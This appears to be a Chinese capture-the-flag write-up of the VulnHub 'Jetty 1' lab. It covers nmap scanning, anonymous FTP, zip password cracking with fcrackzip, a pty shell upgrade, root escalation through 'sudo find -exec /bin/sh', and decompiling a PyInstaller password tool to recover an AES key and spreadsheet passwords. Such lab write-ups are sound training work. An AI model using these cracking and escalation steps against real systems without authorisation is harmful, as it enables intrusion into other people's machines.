VulnHub-JETTY 1 靶场渗透测试
2021-01-24 01:43:14 Author: www.freebuf.com(查看原文) 阅读量:119 收藏

作者:ch4nge
时间:2021.1.24

靶场信息:

地址:https://www.vulnhub.com/entry/jetty-1,621/
发布日期:2020年12月9日
难度:容易/中级
目标:获得root特权&获得所有证据来证明用户正在欺诈

运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)

描述:

水族馆生命有限公司已经联系你对他们的一台机器进行测试。他们怀疑他们的一名雇员在销售假票时犯了欺诈罪。他们想让你闯入他的电脑,升级权限,搜索任何能证明这种行为的证据。

解压密码:EsSabad0!

额外的信息:

  • 可疑的用户名是Squiddie。

  • 他负责水族馆的门票销售。

  • 以太网设置设置为启用DHCP的NAT。

  • 您应该在VLAN中找到IP。

这台机器的想法是,它不仅要获得root权限,还要获得所有证据来证明用户在实施欺诈。

困难:我想说的是,在获得root权限方面,难度是中等的。如果我们考虑所有获取证据的步骤,就很难了。

前言

     本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练使用kali系统按照渗透测试的过程进行操作。此次靶机渗透难度为简单/中等,操作没有什么坑点,信息搜集做好就可以啦,就是最后犯罪证据的搜集复杂很多,每次演练都有收获。文章有不对的地方欢迎师傅指正~

说明:靶机中途修改了ip地址,变为10.0.0.x

一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip为192.168.140.129

nmap -sP 192.168.140.0/24

1611319900_600aca5c00866578b9a11.png!small?1611319899412

2. 靶机端口服务版本

nmap -sS -sV -T5 -A -p- 192.168.140.129

1611319942_600aca8672dfd6920802f.png!small?1611319941958

PORT              STATE            SERVICE            VERSION
21/tcp            open             ftp                vsftpd 3.0.3
80/tcp            open             http               Apache httpd 2.4.29 ((Ubuntu))
65507/tcp         open             ssh                OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

3. 网站信息搜集

访问192.168.140.129

1611319968_600acaa07ea96919b7b31.png!small?1611319967890

4. 目录扫描

dirb http://192.168.140.129/

1611320036_600acae4864aa7e35d834.png!small?1611320036123

得到

+ http://192.168.140.129/index.html (CODE:200|SIZE:23)
+ http://192.168.140.129/robots.txt (CODE:200|SIZE:104)
+ http://192.168.140.129/server-status (CODE:403|SIZE:303)

http://192.168.140.129/robots.txt内容如下

User-agent: *
Disallow: /dir/
Disallow: /passwords/
Disallow: /facebook_photos
Disallow: /admin/secret

挨个看了一下,没有得到可用信息。

二、漏洞探测&漏洞利用

1. ftp服务匿名访问

回头看看nmap扫描出来的服务信息,发现21端口的信息有点东西,之前瞟了一眼没细看

搜索+翻译,得知可以匿名登录ftp,试试

输入ftp,密码处直接回车

1611329625_600af059866e6b35c6f51.png!small?1611329624973

wget下载文件,使用 -r参数指定递归下载

1611329878_600af1564c39b05b7d161.png!small?1611329877611

README.txt文件中有提示,意思是压缩包密码是公司默认的

1611329965_600af1adb5b2cde6f9501.png!small?1611329964982

Hi Henry, here you have your ssh's password. As you can see the file is encrypted with the default company's password. 
Please, once you have read this file, run the following command on your computer to close the FTP server on your side. 
IT IS VERY IMPORTANT!! CMD: service ftp stop. 

Regards, Michael.

得到两个用户名:Henry、Michael

不知道公司默认密码是啥,直接爆破,kali系统使用fcrackzip工具进行zip密码暴力破解,字典使用kali自带的rockyou.txt

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt  sshpass.zip

1611330125_600af24d3f070e5995fef.png!small?1611330124720

得到解压密码 seahorse!

解压压缩包得到文件中的密码

Squ1d4r3Th3B3$t0fTh3W0rLd

1611330301_600af2fd88ed94ca999e7.png!small?1611330300743

使用这个密码登录,登录用户名Henry、Michael都不对,想起来靶机描述里面说了可疑用户名squiddie

注意首字母是小写,登录成功!

1611394845_600bef1de6ea3f6783666.png!small?1611394846281

三、权限提升

1. 升级交互式shell

经过尝试,发现系统中安装有python2和python3,使用python2升级交互式shell,因为开始的shell限制很大,一句话的脚本无法直接执行的,需要在python命令行交互界面进行操作

squiddie:~$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pty>>> pty.spawn("/bin/bash")

1611406584_600c1cf8308125d44f6cf.png!small?1611406584599

2. find提权

参数-l 显示出自己(执行 sudo 的使用者)的权限

1611407106_600c1f028ade945e0ddaa.png!small?1611407106802

太棒了,find命令不需要密码,这个时候sudo find命令是可以直接用来提权到root权限。

sudo find . -exec /bin/sh \; -quit

1611407465_600c20690b3d8addc6cd8.png!small?1611407465225

升级交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

1611407779_600c21a3abc642b2e76dd.png!small?1611407779935

四、证据收集

1. user.txt

在路径/home/squiddie/Desktop发现文件To_Michael.txt和user.txt

user.txt中内容是md5密文

dd69f649f3e5159ddd10b83b56b2dda2

解密得到 2004737969

1611401246_600c081e52b5e790748bd.png!small

2. root.txt

在/home/microsystems/Desktop发现root.txt

root@jetty:/home/microsystems/Desktop# cat root.txt 
Try Harder!

3. proof.txt

在/root/Desktop发现note.txt和proof.txt

root@jetty:/root/Desktop# cat note.txt 
Say to Mary that I want to go on vacation on 2 weeks.
root@jetty:/root/Desktop# cat proof.txt 
136d05d01c8af5d3e3520d2c270f91f1

解密得到 836934778

4. 系统定时任务

crontab -l

1611408330_600c23cae6dd40f278067.png!small?1611408331206

*/2 * * * * /etc/cron.daily/backup

表示每隔2分钟执行一次/etc/cron.daily/backup文件脚本,参考解释

查看backup脚本,是用来备份文件,然后设置权限700,仅root用户组可读可写可执行

#!/bin/sh

#BACKUP FILES EVERY TWO MINUTES
rsync -raz /root/Documents/.docs /var/backups/
chmod 700 /var/backups/.docs

可以看出,文件从/root/Documents/.docs向/var/backups/.docs备份,rsync命令详解

查看/var/backups/.docs路径,有很多表格

1611409692_600c291cdbc697ab6df51.png!small?1611409693223

拷贝到本地进行分析,有三个表格是需要密码才能打开的

在Password_keeper文件夹内有用来查看密码的小程序,查看密码也需要输入密码

1611410589_600c2c9d584d3d414054c.png!small?1611410589558

表格密码 密文

1611410601_600c2ca97fd517131a52d.png!small?1611410601768

使用说明

1611410610_600c2cb29fba08196225f.png!small?1611410610786

要想获得表格的密码,得到小程序输入的密码即可,将程序反编译,并分析代码

这个程序是用pyinstaller编译的,可以使用工具反编译得到源码

5. 反编译Pyinstaller打包的exe

(1)使用反编译工具,下载地址 https://github.com/extremecoders-re/pyinstxtractor

执行之后会在pyinstxtractor.py同目录下生成一个文件夹(注意,使用python2运行,python3我这里会在反编译pyc的那一步报错)

python2 .\pyinstxtractor.py ..\password_keeper.exe

1611418054_600c49c6ef325875e918a.png!small?1611418055288

现在的pyc文件还不是源代码,需要继续反编译

(2)使用uncompyle6反编译pyc文件

安装uncompyle

pip install uncompyle

反编译pyc文件

uncompyle6 .\password_keeper.pyc > password_keeper.py

正确执行结果是没有输出的,直接看到文件夹中多了一个password_keeper.py文件

1611418258_600c4a923ade7c6496952.png!small?1611418258477

# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: password_keeper.py
from Cryptodome.Cipher import AES
import base64
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[0:-ord(s[(-1)])]

def cipher_message(key, message, iv):
    message = pad(message)
    key = base64.b64decode(key)
    obj = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = obj.encrypt(message)
    ciphertext = base64.b64encode(ciphertext)
    return ciphertext


def decipher_message(key, ciphertext, iv):
    ciphertext = base64.b64decode(ciphertext)
    key = base64.b64decode(key)
    obj2 = AES.new(key, AES.MODE_CBC, iv)
    decipher_text = obj2.decrypt(ciphertext)
    decipher_text = unpad(decipher_text)
    return decipher_text


def generate_key(ciphertext, tag, key, iv):
    ciphertext = cipher_message(key, ciphertext, iv)
    print ''
    print "Now copy this into your database.txt (It's the free version... pay for an automated tool!)"
    print ''
    print 'Tag Password'
    print tag + ' ' + ciphertext


def show_keys(database, key, iv):
    check_permissions = raw_input('Insert password: ')
    if base64.b64encode(check_permissions) == key:
        for i in range(len(database[0])):
            ciphertext = database[1][i]
            decipher = decipher_message(key, ciphertext, iv)
            print ' '
            print 'Tag: ' + database[0][i] + ' Password: ' + decipher
            print ' '

    else:
        print ''
        print 'Tag: Instagram Password: WRONG '
        print 'Tag: Facebook  Password: PASSWORD '
        print 'Tag: SSH       Password: TRY '
        print 'Tag: root      Password: HARDER! '
        print ''


def read_database():
    database = [[], []]
    f = open('database.txt', 'r')
    for line in f.readlines():
        line = line.strip().split()
        database[0].append(line[0])
        database[1].append(line[1])

    f.close()
    return database


def main():
    print 'Welcome to the best password keeper ever!'
    print '__        __         _                _  __                         '
    print '\\ \\      / /__  __ _| | ___   _      | |/ /___  ___ _ __   ___ _ __ '
    print " \\ \\ /\\ / / _ \\/ _` | |/ / | | |_____| ' // _ \\/ _ \\ '_ \\ / _ \\ '__|"
    print '  \\ V  V /  __/ (_| |   <| |_| |_____| . \\  __/  __/ |_) |  __/ |   '
    print '   \\_/\\_/ \\___|\\__,_|_|\\_\\__,  |     |_|\\_\\___|\\___| .__/ \\___|_|   '
    print '                          |___/                    |_|   '
    iv = '166fe2294df5d0f3'
    key = 'N2FlMjE4ZmYyOTI4ZjZiMg=='
    database = read_database()
    loop = True
    while loop:
        print ''
        print 'Choose what you want to do: '
        print '1) See your passwords!'
        print '2) Generate a cipher-password'
        print '3) Close'
        option = raw_input('Insert your selection here --> ')
        if option == '1':
            print ''
            print 'Showing content of your secret passwords...'
            print ''
            show_keys(database, key, iv)
            print ''
            returned = raw_input('Press any button to return to the menu...')
        elif option == '2':
            print ''
            print ''
            title = raw_input('Type the name of the application: ')
            password = raw_input('Type the password(BEWARE OF SHOULDER SURFING!!!): ')
            generate_key(password, title, key, iv)
            print ''
            print ''
            returned = raw_input('Press any button to return to the menu...')
        else:
            if option == '3':
                loop = False
                print ''
                return 'Bye Byeeeeeeeeeeeee'
            print ''
            print ''
            print 'WHAT? FAILURE TO COMMUNICATE... Reseting connection...'
            print ''
            print ''
            returned = raw_input('Press any button to return to the menu...')


if __name__ == '__main__':
    print main()
# okay decompiling .\password_keeper.pyc

6. 分析代码,得到密码

在运行exe文件时,输入“1”是查询密码的功能,在代码中,输入1后会调用show_keys()函数

1611418633_600c4c09405e61c48398d.png!small?1611418633427

show_keys()函数

1611418744_600c4c780abe47e566efc.png!small?1611418744194

可以看出,输入的密码值正确时if条件成立,进行显示表格文件密码,所以输入的密码就是base64.decode(key)

N2FlMjE4ZmYyOTI4ZjZiMg==
解密后:7ae218ff2928f6b2

使用exe查看密码

1611419119_600c4def7036beadd1935.png!small?1611419119551

Tag: instagram Password: S3x1B0y
Tag: facebook Password: M4rK1sS0s3X1
Tag: Accountabilty_not_cooked Password: co8oiads13kt
Tag: MoneyBalance Password: C5Y0wzGqq4Xw8XGD
Tag: Pending_to_erase Password: 1hi2ChHrtkQsUTOc

7. 解密取证

文件名字取得很贴切了

Accountabilty_not_cooked.xlsx,密码co8oiads13kt。没有伪造的账单

1611419256_600c4e787d1c19de234d2.png!small?1611419256724

AccountabiltyReportMorning-1112018.xlsx,没有加密。伪造后可以上交的账单报告

1611419300_600c4ea4c0d242bfcba4d.png!small?1611419301010

MoneyBalance.xlsx,密码C5Y0wzGqq4Xw8XGD。自己的非法收入金额

1611419346_600c4ed21cd41704be678.png!small?1611419346789

Pending_to_erase.xlsx,密码1hi2ChHrtkQsUTOc。等待删除的账单

1611419410_600c4f120aef4b0c3243d.png!small?1611419410362

总结

     这次靶场渗透不难,就是犯罪证据的查找没有了解,参考了一下大佬的做法,自己也做了一遍,有收获!继续努力。

参考

https://blog.csdn.net/weixin_43784056/article/details/112182458


文章来源: https://www.freebuf.com/articles/web/261787.html
如有侵权请联系:admin#unsafe.sh